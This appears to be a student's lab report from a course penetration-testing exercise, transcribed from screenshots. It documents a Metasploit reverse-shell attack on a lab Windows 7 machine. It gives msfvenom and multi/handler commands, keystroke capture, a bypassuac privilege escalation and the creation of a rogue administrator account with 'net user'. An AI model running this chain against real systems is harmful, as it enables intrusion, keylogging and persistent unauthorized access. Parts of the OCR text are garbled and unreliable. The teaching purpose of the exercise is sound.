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TASK A: BREAK INTO THE SYSTEM

[ EcEMsIM [7 cvse [ pFsense - Firewall 64-bit [ windows 7 Workstation [ Kali - Internal Workstation
Applications ~ Places ~ [ Terminal ~ Thu14:30
root@CS2APenTest: ~

File Edit View Search Terminal Help
I exploit/multi/handler
)} = set payload windows/meterpreter/reverse tcp
=> windows/meterpreter/reverse tcp
(ploit( ) = set lhost 192.168.10.13

== 192.168.10.13
} » set lport 38122

msf5 exploit( ) = show options
Module optiens (exploit/multi/handler):

Name Current Setting Required Description

Name

EXITFUNC o hnique (Accepted: re "0 , none)
LHOST 2.168.10. The listen address (an interface may be ecifi

A T )

3/10/2022

Payload options (windows/meterpreter/reverse tcp):

Name uired Description

EXITEUNC 70 s es Exit technique (Accepted: '', seh, threac roCes none)

HOST -192.158.13.13J The listen address (an interface may be specified)
LPORT 30122 The listen port
S ——

In the screenshots above, I have configured the reverse shell connection in Metasploit. The first step (not
pictured) is to use the command “msfconsole” to open Metasploit. (1)Next, we use the exploit
“exploit/multi/handler” and then set up the reverse shell connection using the command “set payload
windows/meterpreter/reverse tcp.” (2)Then, | set the lhost as 192.168.10.13 (Internal Kali) and the Iport as
30122 as directed. (3) I checked that these were set using the “show options” command.




[} ECE-MSIM [} cysE [} pFsense - Firewall 64-bit [ Windows 7 Workstation s Kali - Internal Workstation
Applications ~ Places ~ [ Terminal = Thu14:35
root@CS2APenTest: ~

File Edit View Search Terminal Help
L d : # msfvenom -p wﬂdnws/meterpreter/reverse_tcp lhost=192.168.10.13 lport=30122 -f exe -0
— |nhard313.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
o [-1 No arch s lecting arch: x86 from the payload

pecified, outputting raw payload
EEVAGED
Final si

+a

root root 4096 2017
root root 4096 24 2019
root 4096 22 2019
root 4096 : 2019
root 4096 2017
root root 73802 3 14:35 nhard0le.e;
root root 4096 2017
root root 4096 2017
root root 4096 2017
root 4096 2017
regt 18 22 2819 VMshare ->

= R ROR W

5
2
2
5
1

235 PM

N T 00

p nhard@le.ex
2~ Svar/www/html
x.html x.nginx-debian.html nhardelo.
- rm J/var/www/html/index.*
Jvar/www/html/

nhardole.exe

(4) Next I made an executable payload named “nhard010.exe” and checked that it was saved to my home using
“Is -1.” (5) Then I started up apache2, copied the executable “nhard01.exe” to “/var/www/html/,” and removed
the default page.

(TASK A CONTINUED ON NEXT PAGE)



[7 ECEM5IM [1 cyse [y pFsense - Firewall 64-bit [y Windows 7 Workstation ©y Kali - Internal Workstation
[4 Indexof/ x &ll=l@]| &

&« C | @ 192.188.10.13 bl

Qpen File - Security Warning @
Index of /

The publisher could not be verified. Are you sure you want to
run this software?

Name Last modified Size Des =H Name: Ch\Users\Window 7\Downloads\nhard010.exe

Publisher: Unknown Publisher

. Type: Application
nhard010.exe 2022-03-10 14:42 72K

From: Ch\Users\Window 7\Downloads\nhard010.exe

Apache’2.4.38 (Debian) Server at 192.168.10. Run | [ Cancel

| Always ask before opening this file

publisher. You should only run software from publishers you trust.

I Ja Thiz file does not have a valid digital signature that verfies itz
How can | decide what software to un 7

©OF2 K Nc €G] <

[} ECE-MsTM [ cvse [ pFsense - Firewall 54-bit [ Windows 7 Workstation [y Kali- Internal Workstation
Applications ~ Places ¥ [J Terminal = Thu14:58
root@CS2APenTest: ~

File Edit View Search Terminal Help
Name Current Setting Required Description

EXITFUNC [ Exit technique (Accepted: '', h, thread, proc
LHOST 2.168.10. en add
LPORT B12: The listen port

Exploit targ

Id MName

o] Wildcard Target

msf5 exploit( ) = exploit

e TCP handler on 192.168.10.13:30122
(179779 bytes) to 192.168.10.9
sion 1 op d (192.168.10.13:30122 -> 192.168.10.9:1070) at 2022-03+10 14:58:12 -0500

2:58 PM
3/10/2022

(6) I then went to the Windows 7 machine and typed in Internal Kali’s IP address “192.168.10.13,” clicked on
nhard010.exe and pressed run. (7) | checked that | now had a connection to 192.168.10.9 and as seen in the
screenshot above, | do.



TASK B: BASIC INFORMATION HARVESTING

Step 1: Take a screenshot of the target machine

[] EcE-MsIM 0 cyse [ pFsense - Firewall 64-bit [ Windows 7 Workstation @ Kali - Internal Workstation
Applications ~ Places ¥ &) FirefoxESR ~ Thu15:05
OlYeUqFp.jpeg (JPEG Image, 1021 x 465 pixels) - Scaled (66%) - Mozilla Firefox

M ClYeUqFp.jpeg (JPEGIm X | +

C @ @ file:///root/OlYeUqFp.jpeg - @ %
Nessus Home e, KaliLinux S KaliDocs “& Kali Tools # Exploit-DB ## Most Visited

3:05PM

D) 3102022

In the picture above, | have captured a screenshot from Internal Kali of the Windows 7 machine. | got this using
the command “screenshot” in the Metasploit console.

Step 2: Capture Keystrokes

[V EcE-msmM [1 crse [ pFsense - Firewall 64-bit [I! Windows 7 Workstation [y Kali - Internal Workstation
Applications ~ Places ¥ [ Terminal ~ Thu15:13
root@CS2APenTest: ~

Edit View Search Terminal Help
rpreter >

VOV VY VYV Y Y Y WYY

can_start
ystroke sniffer ...
can_dump
eystrokes oo
this is natalie hardwicke, happy spring break<Shifts>!

" meterpreter > keyscan stop
pping t stroke sniffer...

meterpreter =

313 PM

=D 3002

In the picture above, I have used the command “keyscan_start” to begin tracking keystrokes from Windows 7
and then used the command “keyscan_dump” to show what was being typed.



Step 3: Create Text File

[ EcEmsm [ crse [ pFsense - Firewall 64-bit 5 Windows 7 Workstation Kali - Internal Workstation
Applications ~ Places ¥  [EJ Terminal ~ Thu15:20
root@CS2APenTest: ~

File Edit View Search Terminal Help
: # touch IMadeIT-nhard@l®e.txt
: # vi IMadeIT-nhardele.txt
: # cat IMadeIT-nhardele.txt
3:20pm
3/10/2022

1y F20PM
AT D) 3000000
- = upload IMadeIT-nhardele.txt
uploading : IMadeIT-nhard@l®.txt -» IMadeIT-nhard®l@.txt
Uploaded 17.80 B of 17.00 B (100.0%): IMadeIT-nhard@l@.txt -> IMadeIT-nhard@l®.txt
IMadeIT-nhard®1®.txt -> IMadeIT-nharde@le.txt

3:37PM

~ 1)) 3/10/2022

[1 EcEms™M [7 crse [ pFsense - Firewall 64-bit [ windows 7 Workstation [y Kali - Internal Workstation

% =

*) Py
. L-RE IS < IMadelT-nhard010 ) Notepad
Orgariz—Eile Edit  Format View Help
T 3:20pm
¢ Fa 3/10/2022
|:J - M D
[l [l $ D
=il R
S Lib
5 D
[ [l
J'\
=| P
w* B v
&
Text Urocument aZe: 1S B}"tEE
. (]
o2 | | C 1
55 Ctrl+G.

3:37PM
3/10/2022

71 )

First I created the file IMadelT-nhard010.txt on Internal Kali, then using meterpreter | used the command
“upload IMadelT-nhard010.txt” to upload the file to Windows 7. I checked the file by opening it in the
Windows 7 VM.,



TASK C: PRIVILEGE ESCALATION

Step 1: Create Malicious Account

[} ECE-msIM [ eyse [ pFsense - Firewall 64-bit [ Windows 7 Workstation @ Kali - Internal Workstation
Applications ~ Places ¥ [J Terminal ~ Thu15:49
root @CS2APenTest: ~

File Edit View Search Terminal Help

> background
unding session 1...
} > use exploit/windows/local/bypassuac
) > set payload windows/meterpreter/reverse tcp
> windows/meterpreter/rev e tcp
msf5 exploit( E: lport 30122
lport => 30122
xploit( > set lhost 192.168.10.13
> 192.168.10.13

) msf5 exploit( > exploit

Started reverse TCP handler on 192.168.10.13:30122

UAC is Enabled, checking level...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

Part of Administrators group! Continuing...

Uploaded the agent to the filesystem....

Uploading the bypass UAC utable to the filesystem..
Meterpreter stager executable 73802 bytes long being uploaded..

3:49 PM

A D) 0002

Process 2004 created.

hannel 1 created.

Microsoft Windows [Version 6.1.7600]

opyright (c) 20809 Microsoft Corporation. All rights r

C:\Windows\system32=net user /add NatalieHardwicke test@l2
net user /add Natal ardwicke test@l23
The command completed successfully.

C:\Windows\system32=net localgroup administrators MNatalieHardwicke /add
net localgroup administrators MatalieHardwicke /add
The command completed successfully.

3:54 PM

AT D) 30000

(1)First background the session and use the command “use /exploit/windows/local/bypassuac” to start a new
exploit. (2) Set the reverse tcp payload, the lhost, the Iport, and then exploit. (3)Use the getsystem and shell
command to be able to create an account with admin privilege in the shell. (4)Add the use NatalieHardwicke
with the “net user /add” command and then add the same user to the administrators group to ensure they have
admin privilege in our previous session.



Step 2: Display TCP Connections

[} ECEM3TM [ crse [ pFsense - Firewall 54-bit [\ Windows 7 Workstation [y Kali - Internal Workstation

? BN C:\Windows\system32\cmd.exe

Recycle Bin Microsoft Windows [Version 6.1.7608]
Copyright <{c»> 2089 Microsoft Corporation. All rights reserved.

C:sUsers MatalieHardwicke >netstat

Active Connections
m , Erotoy Local Addbess Foreign Address

State
ICP 192.168.18.9:3389 192 _.168.18.13:56814 ESTABLISHED

Google s
Chrome VRC:sUserssHatalieHardwicke >

kL

=5 Ctrl+G. B B O
4:00 PM
3/10/2022

Here | used the netstat command to see the TCP connections and highlighted the connection to 192.168.10.13
(Internal Kali).

Step 3: Browse Files

[] ECE-MsM [ erse [ pFsense - Firewall 64-hit [ Windows 7 Workstation i Kali - Internal Workstation
Applications = Places ¥ [J Terminal = Thu 16:14
root@CS2APenTest: ~

File Edit View Search Terminal Help
2.168.10.9

414 PM
3M10/2022




[7 ECE-MsIM [ crse [} pFsense - Firewall 64-bit

& rdesktop

[ Windows 7 Workstation
Thu16:16
rdesktop - 192.168.10.9

= N\

Autose @1\:/,-9| v Computer » Local Disk (T » Users » 'Window 7 »

o ERROR . - .

connet Organize » Include in library = Share with = Mew tolder

B WARNII - Marme

¥ Homegroup

i Kali - Internal Workstation

Places -

Applications =

- | +4 | | Segrch Window 7

-

Date rmodified Type
File falder

M Camputer
&, Local Disk (S
Perflogs

Prograrm Files 3

Toals
Users
Windous

D e

"

& Dowenloads
Favorites

# Links

“| My Documents

W My Busic

= My Pictures

& My Wideos

® Saved Garnes

Searches

302022 2136 PM

8723,/2017 11:15 Ak
8/23,/2017 11:15 A
30,2022 3:18 PR

87232007 11:15 Ak
87232017 11:15 Ak
8/23,/2017 11:15 A
87232017 11:15 Ak
87232017 11:15 A

File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder

12 iterns State: 5 Shared

In the screenshots above, first | created a connection as a remote desktop to the user that was created
“NatalieHardwicke.” Then in the next screenshot I went to the local disk, users, and clicked on the “windows 7”
user to browse the files they have.



